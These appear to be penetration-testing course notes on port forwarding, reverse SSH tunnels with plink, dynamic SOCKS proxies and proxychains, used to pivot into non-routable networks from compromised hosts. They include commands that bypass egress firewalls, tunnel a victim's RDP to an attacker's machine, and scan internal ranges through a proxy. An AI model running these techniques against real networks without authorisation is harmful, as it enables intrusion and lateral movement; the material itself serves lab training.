PORT FUN ============================================================== PORT FUN - Overview ============================================================== We will deal with various form of port redirection, tunneling and traffic encapsulation. Understanding and mastering these technqiues will provide us with surgical tools to manipulate the direction flow of the target traffic. Which can often be useful in a restricted network environment. ============================================================== PORT FUN - Port Forwarding ============================================================== Port forwarding involves accepting traffic on a given IP address and then simply redirecting it to a different IP and port. Let's see how a simple technique such as port redirection cold prove useful to us. Consider the following scenario: A windows machine is located in an internal network which allows outbound traffic on TCP ports 80 and 443 only. We would like to connect from this machine to a remote windows 2003 server using the remote desktop service which runs on tcp port 3389. This remote windows 2003 server has the IP address 67.23.72.109. Attempts at conneting to this RDP service on the remote server from the locked down windows host will fail due to the egress firewall rules present in the network. To bypass this network restriction using port forwarding, we will need an intermediate proxy computer such as a linux machine with a public IP addrss, which I have here... The IP on this linux machine is 208.88.127.99. I'll use a port forwarding utility such rinetd. #nano /etc/rinetd.conf and set it up to accept traffic on the external interface on tcp port 80 and then redirect it our external windows 2003 server on port 3389. To do this, the line below needs to be copied in to the rinted.conf file: -----------nano /etc/rinetd.conf----------------------- bindaddress bindport connectaddress connectport 208.88.127.99 80 67.23.72.109 3389 ------------------------------------------------------- start the rinetd service: #/etc/init.d/rinetd restart Now in order to connect to the windows 2003 server RDP service located at 67.23.72.109:3389, we connect to the proxy machine on port 80 which redirectes the traffic to 67.23.72.109:3389. To do this, open the remote desktop service tool on the windows machine and enter the proxy machines IP and port. In this case it will be 208.88.127.99:80. Once this connection is made the rinetd service redirects traffic and we are then logging in to the Windows 2003 server. =========================================================== PORT FUN - SSH Tunnel - Fun with SSH - Tunnels and Proxies =========================================================== The SSH protocol has many hidden secrets. One of it's abilities is to creat encrypted tunnels within the SSH protocol which support i-directional communication channels. This obscure feature of the SSH protocol has far reaching implications for both pen testers and security admins alike as the following examples will demonstrate. Let's start with SSH local and remote port forwarding. SSH Local Port Forwardin, invoked with the -L parameter allows us to connect a local port to a remote port over an encrypted SSH tunnel. While useful an even more impressive tunnelling feature is the remote port forwarding feature of SSH. SSH remote port forwarding allows us to tunnel a remote port to a local server. The effect of this technique are best demonstrated through the following scenario. We have initiated a client side attack on an organization and we have just received a shell from an internal non-routable machine. We have uploaded a plink executable, an SSH client for windows to this victim machine and noticed that the remote desktop service is listening on this server. Let's list all ports that are listening: C:\>netstat -an |find "LISTEN" We would like to access the remote desktop port on this internalnon-routable machine. We can create a reverse SSH tunnel from the victim machine to our attacking box and tunnel out the remote desktop service from the windows machine and make that port available on my attacing box. I'll invoke Plink with the -R parameter to specifiy a remote tunnel: and have it connect to my attacking machine, then traffic from port 3389 on the windows machine will be tunnelled out and be made available on my attacking machine on tcp port 3390. C:\>plink -l root -pw ubersecretpassword 208.88.127.99 -R 3390:127.0.0.1:3389 After running the above command on the windows victim, a quick netstat on the attacking linux machine show that port 3390 is currently in a listening state. #netstat -antp |grep LISTEN As this SSH session has created a tunnel I'll carefully minimize this window and be careful not to give an commands from within the tunnelled session. Now that the tunnel is created, all that's left for us to do is use a tool such as rdesktop to connect to our local interface on port 3390 which in turn gets tunnelled to the internal non-routable windows server. Assuming we have credentials, we can now log on to this server. #rdesktop 127.0.0.1:3390 ============================================================== PORT FUN - Dynamic Proxies - SSh Dynamic Forwarding ============================================================== This SSh feature allows us to set a local listeninf port and have it tunnel incoming traffic to any remote destination through a SOCKS proxy. Consider the following scenario. You have compromised a DMZ server using a web attack and have escalated your privileges on that server to root. This server has both got apache and ssh services exposed to the internet. We can now use SSH to create a SOCKS 4 proxy on our local attacking box on port 8080 and tunnel all incoming traffic to that port through the DMZ network of our victim. #ssh -D 8080 root@admin.megacorpone.com Take a look at the ip range of compromised DMZ network: root@adminsql: ifconfig 172.16.40.10 / 255.255.255.0 And now by using the local SOCKS 4 proxy which is listening on port 8080 we can tunnel and redirect traffic from our attacking machine to the non routable DMZ network. #netstat -antp |grep 8080 We will see how this is done in the next module. ============================================================== PORT FUN - Proxy Chains ============================================================== So now that we have a local SOCKS 4 proxy listening on our loopback interface on port 8080, we can use a tool such as proxy chain to forward and tunnel traffic to the non routable DMZ network. I'll first configure the proxy chains to use local port 8080 as it's SOCKS 4 server address. #nano /etc/proxychains.conf Under theProxies list add the following: ------------------------ socks4 127.0.0.1 8080 ----------------------- Once that is set, I can simpl type Proxychains and proxify an network tool I wish. eg: #proxychains nmap -p 3389 -sT -Pn 172.16.40.18-22 --open Using nmap, we have proxified an nmap scan an found an rdp server at 172.16.40.20. We can now proxify a rdesktop connection to this machine in the the DMZ. #proxychains rdesktop 172.16.40.20 So the connection was made and I have tunneled my way to the remote desktop server. Learning how to use the tunnelling techniques demonstrated in this module will rgeatly improve our ability to reach otherwise non routable networks once you have already set foot inside an organisation. Use these tools while exploring hidden networks in the offsec labs.